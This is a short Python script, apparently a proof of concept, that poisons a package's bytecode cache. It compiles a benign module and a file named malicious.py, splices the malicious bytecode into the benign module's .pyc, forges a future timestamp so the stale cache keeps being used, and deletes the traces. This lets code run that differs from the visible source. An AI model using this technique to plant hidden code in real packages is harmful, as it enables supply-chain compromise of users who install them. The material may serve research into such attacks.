import os
import datetime
import struct
import time
import argparse
import pathlib
import shutil
import py_compile

parser = argparse.ArgumentParser()

parser.add_argument(
    "invalidation_mode", choices=["TIMESTAMP", "CHECKED_HASH", "UNCHECKED_HASH"]
)
args = parser.parse_args()

invalidation_modes = {
    "TIMESTAMP": py_compile.PycInvalidationMode.TIMESTAMP,
    "CHECKED_HASH": py_compile.PycInvalidationMode.CHECKED_HASH,
    "UNCHECKED_HASH": py_compile.PycInvalidationMode.UNCHECKED_HASH,
}

TS_OFFSET = 10000000  # THE FUTUREEEEE
invalidation_mode = invalidation_modes.get(args.invalidation_mode)

# compile both files to get caches, returns relative path to pyc
benign_cache = py_compile.compile(
    "this_is_a_package/src/this_is_a_package/benign.py",
    invalidation_mode=invalidation_mode,
)
time.sleep(1)  # just to get different timestamps
malicious_cache = py_compile.compile(
    "malicious.py", invalidation_mode=invalidation_mode
)

# convert to Path for easy operations
benign_cache = pathlib.Path(benign_cache)
malicious_cache = pathlib.Path(malicious_cache)

# we copy the malicious body to the benign cache file
with open(malicious_cache, "rb") as f:
    f.seek(16)  # skip magic bytes and header
    malicious_body = f.read()

with open(benign_cache, "r+b") as f:
    f.seek(8)  # skip magic bytes and flags
    if args.invalidation_mode == "TIMESTAMP":
        # set timestamp to a date in the future
        timestamp = int(datetime.datetime(2026, 1, 1, 12, 0, 0).timestamp())
        timestamp_bytes = struct.pack("<L", timestamp)
        f.write(timestamp_bytes)
        pass
    f.seek(16)
    f.write(malicious_body)

# remove malicious cache file
shutil.rmtree(malicious_cache.parent)